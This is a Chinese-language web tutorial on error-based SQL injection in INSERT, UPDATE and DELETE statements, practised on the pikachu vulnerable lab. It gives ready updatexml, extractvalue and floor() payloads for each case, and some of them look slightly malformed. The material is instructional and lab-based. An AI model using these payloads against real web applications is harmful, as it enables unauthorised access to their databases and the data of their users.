热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

开发笔记:SQL注入之初窥insert,update,delete注入

篇首语:本文由编程笔记#小编为大家整理,主要介绍了SQL注入之初窥insert,update,delete注入相关的知识,希望对你有一定的参考价值。

篇首语:本文由编程笔记#小编为大家整理,主要介绍了SQL注入之初窥insert,update,delete注入相关的知识,希望对你有一定的参考价值。





在我们进行sql注入时,很多注入会出现无回显的状况,其中不回显的原因可能是sql语句查询方式的问题(问题之一),这时候我们要用到相关的报错或盲注进行后续操作,同时作为手工注入时,提前了解或预知其sql语句大致写法也能更好地选择对应的注入语句。






在分享回显和盲注之前,我们再简单说一下增删改查的sql语句









#select 查询数据select * from news where id=$id








#insert 插入数据在网站应用中进行用户注册添加等操作insert into news (id,url,text) values(2,'x','$t')








#delete删除数据后台管理删除文章或其他删除操作delete from news where id=$id








#update更新数据会员或后台数据同步或缓存操作update user set pwd='$p' where id=2 and username='admin'








#order by 排序数据一般结合表名或列名进行数据排序操作例:select * from news order by $id


重点理解:我们可以通过以上查询方式与网站应用的关系,推测注入点产生地方或应用猜测对方的sql查询方式




下面我们就用三个案例简单理解一下这几种操作方式的注入。


使用的相关函数,简单看看,知道如何使用即可。














updateXML(xml_target,xpath_expr,new_xml)#此函数将xml_target中用xpath_expr路径匹配到XML片段用new_xml替换,然后返回更改后的XML。#xml_target被替换的部分与xpath_expr用户提供的XPath表达式匹配。#如果找不到表达式匹配 xpath_expr项,或者找到多个匹配项,则该函数返回原始 ml_targetXML片段。#所有三个参数都应为字符串。ExtractValue(xml_frag, xpath_expr)#此函数是返回在xml_frag用xpath_expr路径匹配到的XML片段。floor(x)#此函数返回不大于x的最大整数。




insert


注入产生原因(注册新用户):后端没有做防SQL注入处理,在前端注册的信息,通过insert直接拼接到数据库中;


insert注入方法:
insert用法例如:






insert into member(username,pw,sex.phonenum,email,address) values('M9',1234,1,1,1,1,);


以上是Insert的完整语句,而我们输入的用户名对应的就是上面‘M9’这里,这里我们可以使用 or 这个逻辑运算符,例如用下面的语句代替M9:






x' or updatexml(1,concat(0x7e,version()),0) or '


第一个or的意思是对第一个插入的值进行运算,在运算的过程中就会执行updatexml()这个函数,所以我们就可以在这里插入我们构造的sql语句。




大致了解原理后我们来在靶场实验一波。pikachu靶场,sql注入栏



这里我们就已经注入成功了,后续操作自己操作就好,前期还是以原理为主,只要能找到注入点,爆库只是时间问题。


payload: 











#UpdateXML()函数:' or updatexml(1,concat(0x7e,(database())),0) or '#ExtractValue()函数:' or extractvalue(1,concat(0x5e24,(database()))) or '#floor()报错:1'and (select 1 from (select count(*),concat('~',database(),'~',floor(rand(0)*2))as x from information_schema.tables group by x)a))#





update


update注入和上面insert注入一样,只不过update在修改信息那里注入,而insert在注册那里注入。


先登录注册的号码,然后后台修改,抓包数据如下


SQL注入之初窥insert,update,delete注入


和上面操作基本一致。


payload:











# UpdateXML()函数:' or updatexml(1,concat(0x7e,(database())),0) or '# ExtractValue()函数:' or extractvalue(1,concat(0x5e24,(database()))) or '# fool报错1' and (select 1 from (select count(*),concat('~',database(),'~',floor(rand(0)*2)) as x from information_schema.tables group by x)a)#)




delete注入

还是使用pikachu靶场,先留几条留言,当我们需要删除的时候,抓个数据包,修改一下参数,加上and 1=1#,发现删除成功,加上and 1=2#,删除失败。


SQL注入之初窥insert,update,delete注入


猜测sql语句为:






delete from xxxx where id = x


这里就不需要再闭合了,因为是数字型


实际去查看源代码时,发现后面有个‘’的后缀,我们需要闭合掉。


注意!!!在这里需要注意一个问题!,因为我们的参数是在URL里面提交的,所以我们需要将它转化成URL的形式,而我们的工具bp上面也有,如下图:


SQL注入之初窥insert,update,delete注入



payload:











# UpdateXML()函数:or or updatexml(1,concat(0x7e,(database())),0) or ''# ExtractValue()函数:or extractvalue(1,concat(0x5e24,(database()))) or ''# floor()报错:1 and (select 1 from (select count(*),concat('~',database(),'~',floor(rand(0)*2))as x from information_schema.tables group by x)a))'




以上是三种不同于select查询语句的sql注入方法,现在说一下它们之间的区别:


insert update 和delete这三个是一个操作,而select是一个查询语句,是可以直接查询到所需要的信息,而操作只能够通过报错返回信息的方式查询到我们所需的信息,还有一个不同点就是select是可以使用union的,因为它是一个完整的语句,而insert update和delete不行,这三个是一个操作。







推荐阅读
  • 本文介绍了使用kotlin实现动画效果的方法,包括上下移动、放大缩小、旋转等功能。通过代码示例演示了如何使用ObjectAnimator和AnimatorSet来实现动画效果,并提供了实现抖动效果的代码。同时还介绍了如何使用translationY和translationX来实现上下和左右移动的效果。最后还提供了一个anim_small.xml文件的代码示例,可以用来实现放大缩小的效果。 ... [详细]
  • VScode格式化文档换行或不换行的设置方法
    本文介绍了在VScode中设置格式化文档换行或不换行的方法,包括使用插件和修改settings.json文件的内容。详细步骤为:找到settings.json文件,将其中的代码替换为指定的代码。 ... [详细]
  • eclipse学习(第三章:ssh中的Hibernate)——11.Hibernate的缓存(2级缓存,get和load)
    本文介绍了eclipse学习中的第三章内容,主要讲解了ssh中的Hibernate的缓存,包括2级缓存和get方法、load方法的区别。文章还涉及了项目实践和相关知识点的讲解。 ... [详细]
  • MyBatis多表查询与动态SQL使用
    本文介绍了MyBatis多表查询与动态SQL的使用方法,包括一对一查询和一对多查询。同时还介绍了动态SQL的使用,包括if标签、trim标签、where标签、set标签和foreach标签的用法。文章还提供了相关的配置信息和示例代码。 ... [详细]
  • 本文由编程笔记#小编为大家整理,主要介绍了logistic回归(线性和非线性)相关的知识,包括线性logistic回归的代码和数据集的分布情况。希望对你有一定的参考价值。 ... [详细]
  • Java序列化对象传给PHP的方法及原理解析
    本文介绍了Java序列化对象传给PHP的方法及原理,包括Java对象传递的方式、序列化的方式、PHP中的序列化用法介绍、Java是否能反序列化PHP的数据、Java序列化的原理以及解决Java序列化中的问题。同时还解释了序列化的概念和作用,以及代码执行序列化所需要的权限。最后指出,序列化会将对象实例的所有字段都进行序列化,使得数据能够被表示为实例的序列化数据,但只有能够解释该格式的代码才能够确定数据的内容。 ... [详细]
  • XML介绍与使用的概述及标签规则
    本文介绍了XML的基本概念和用途,包括XML的可扩展性和标签的自定义特性。同时还详细解释了XML标签的规则,包括标签的尖括号和合法标识符的组成,标签必须成对出现的原则以及特殊标签的使用方法。通过本文的阅读,读者可以对XML的基本知识有一个全面的了解。 ... [详细]
  • 本文介绍了Android 7的学习笔记总结,包括最新的移动架构视频、大厂安卓面试真题和项目实战源码讲义。同时还分享了开源的完整内容,并提醒读者在使用FileProvider适配时要注意不同模块的AndroidManfiest.xml中配置的xml文件名必须不同,否则会出现问题。 ... [详细]
  • 在Xamarin XAML语言中如何在页面级别构建ControlTemplate控件模板
    本文介绍了在Xamarin XAML语言中如何在页面级别构建ControlTemplate控件模板的方法和步骤,包括将ResourceDictionary添加到页面中以及在ResourceDictionary中实现模板的构建。通过本文的阅读,读者可以了解到在Xamarin XAML语言中构建控件模板的具体操作步骤和语法形式。 ... [详细]
  • iOS超签签名服务器搭建及其优劣势
    本文介绍了搭建iOS超签签名服务器的原因和优势,包括不掉签、用户可以直接安装不需要信任、体验好等。同时也提到了超签的劣势,即一个证书只能安装100个,成本较高。文章还详细介绍了超签的实现原理,包括用户请求服务器安装mobileconfig文件、服务器调用苹果接口添加udid等步骤。最后,还提到了生成mobileconfig文件和导出AppleWorldwideDeveloperRelationsCertificationAuthority证书的方法。 ... [详细]
  • 本文讨论了如何使用Web.Config进行自定义配置节的配置转换。作者提到,他将msbuild设置为详细模式,但转换却忽略了带有替换转换的自定义部分的存在。 ... [详细]
  • Vagrant虚拟化工具的安装和使用教程
    本文介绍了Vagrant虚拟化工具的安装和使用教程。首先介绍了安装virtualBox和Vagrant的步骤。然后详细说明了Vagrant的安装和使用方法,包括如何检查安装是否成功。最后介绍了下载虚拟机镜像的步骤,以及Vagrant镜像网站的相关信息。 ... [详细]
  • 本文介绍了在使用Laravel和sqlsrv连接到SQL Server 2016时,如何在插入查询中使用输出子句,并返回所需的值。同时讨论了使用CreatedOn字段返回最近创建的行的解决方法以及使用Eloquent模型创建后,值正确插入数据库但没有返回uniqueidentifier字段的问题。最后给出了一个示例代码。 ... [详细]
  • ALTERTABLE通过更改、添加、除去列和约束,或者通过启用或禁用约束和触发器来更改表的定义。语法ALTERTABLEtable{[ALTERCOLUMNcolu ... [详细]
  • 本文介绍了机器学习手册中关于日期和时区操作的重要性以及其在实际应用中的作用。文章以一个故事为背景,描述了学童们面对老先生的教导时的反应,以及上官如在这个过程中的表现。同时,文章也提到了顾慎为对上官如的恨意以及他们之间的矛盾源于早年的结局。最后,文章强调了日期和时区操作在机器学习中的重要性,并指出了其在实际应用中的作用和意义。 ... [详细]
author-avatar
mobiledu2502859163
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有